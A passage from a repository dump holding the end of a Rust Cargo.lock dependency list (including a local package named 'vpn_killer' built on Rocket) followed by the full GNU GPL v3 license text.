684 | name = "unicase"
685 | version = "1.4.2"
686 | source = "registry+https://github.com/rust-lang/crates.io-index"
687 | checksum = "7f4765f83163b74f957c797ad9253caf97f103fb064d3999aea9568d09fc8a33"
688 | dependencies = [
689 | "version_check 0.1.5",
690 | ]
691 |
692 | [[package]]
693 | name = "unicode-bidi"
694 | version = "0.3.4"
695 | source = "registry+https://github.com/rust-lang/crates.io-index"
696 | checksum = "49f2bd0c6468a8230e1db229cff8029217cf623c767ea5d60bfbd42729ea54d5"
697 | dependencies = [
698 | "matches",
699 | ]
700 |
701 | [[package]]
702 | name = "unicode-normalization"
703 | version = "0.1.17"
704 | source = "registry+https://github.com/rust-lang/crates.io-index"
705 | checksum = "07fbfce1c8a97d547e8b5334978438d9d6ec8c20e38f56d4a4374d181493eaef"
706 | dependencies = [
707 | "tinyvec",
708 | ]
709 |
710 | [[package]]
711 | name = "unicode-xid"
712 | version = "0.1.0"
713 | source = "registry+https://github.com/rust-lang/crates.io-index"
714 | checksum = "fc72304796d0818e357ead4e000d19c9c174ab23dc11093ac919054d20a6a7fc"
715 |
716 | [[package]]
717 | name = "universal-hash"
718 | version = "0.3.0"
719 | source = "registry+https://github.com/rust-lang/crates.io-index"
720 | checksum = "df0c900f2f9b4116803415878ff48b63da9edb268668e08cf9292d7503114a01"
721 | dependencies = [
722 | "generic-array",
723 | "subtle 2.4.0",
724 | ]
725 |
726 | [[package]]
727 | name = "url"
728 | version = "1.7.2"
729 | source = "registry+https://github.com/rust-lang/crates.io-index"
730 | checksum = "dd4e7c0d531266369519a4aa4f399d748bd37043b00bde1e4ff1f60a120b355a"
731 | dependencies = [
732 | "idna",
733 | "matches",
734 | "percent-encoding 1.0.1",
735 | ]
736 |
737 | [[package]]
738 | name = "uuid"
739 | version = "0.8.2"
740 | source = "registry+https://github.com/rust-lang/crates.io-index"
741 | checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7"
742 |
743 | [[package]]
744 | name = "version_check"
745 | version = "0.1.5"
746 | source = "registry+https://github.com/rust-lang/crates.io-index"
747 | checksum = "914b1a6776c4c929a602fafd8bc742e06365d4bcbe48c30f9cca5824f70dc9dd"
748 |
749 | [[package]]
750 | name = "version_check"
751 | version = "0.9.2"
752 | source = "registry+https://github.com/rust-lang/crates.io-index"
753 | checksum = "b5a972e5669d67ba988ce3dc826706fb0a8b01471c088cb0b6110b805cc36aed"
754 |
755 | [[package]]
756 | name = "vpn_killer"
757 | version = "0.1.0"
758 | dependencies = [
759 | "rocket",
760 | "uuid",
761 | ]
762 |
763 | [[package]]
764 | name = "wasi"
765 | version = "0.9.0+wasi-snapshot-preview1"
766 | source = "registry+https://github.com/rust-lang/crates.io-index"
767 | checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
768 |
769 | [[package]]
770 | name = "wasi"
771 | version = "0.10.0+wasi-snapshot-preview1"
772 | source = "registry+https://github.com/rust-lang/crates.io-index"
773 | checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
774 |
775 | [[package]]
776 | name = "winapi"
777 | version = "0.3.9"
778 | source = "registry+https://github.com/rust-lang/crates.io-index"
779 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
780 | dependencies = [
781 | "winapi-i686-pc-windows-gnu",
782 | "winapi-x86_64-pc-windows-gnu",
783 | ]
784 |
785 | [[package]]
786 | name = "winapi-i686-pc-windows-gnu"
787 | version = "0.4.0"
788 | source = "registry+https://github.com/rust-lang/crates.io-index"
789 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
790 |
791 | [[package]]
792 | name = "winapi-x86_64-pc-windows-gnu"
793 | version = "0.4.0"
794 | source = "registry+https://github.com/rust-lang/crates.io-index"
795 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
796 |
797 | [[package]]
798 | name = "yansi"
799 | version = "0.5.0"
800 | source = "registry+https://github.com/rust-lang/crates.io-index"
801 | checksum = "9fc79f4a1e39857fc00c3f662cbf2651c771f00e9c15fe2abc341806bd46bd71"
802 |
803 | [[package]]
804 | name = "zeroize"
805 | version = "1.2.0"
806 | source = "registry+https://github.com/rust-lang/crates.io-index"
807 | checksum = "81a974bcdd357f0dca4d41677db03436324d45a4c9ed2d0b873a5a360ce41c36"
808 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------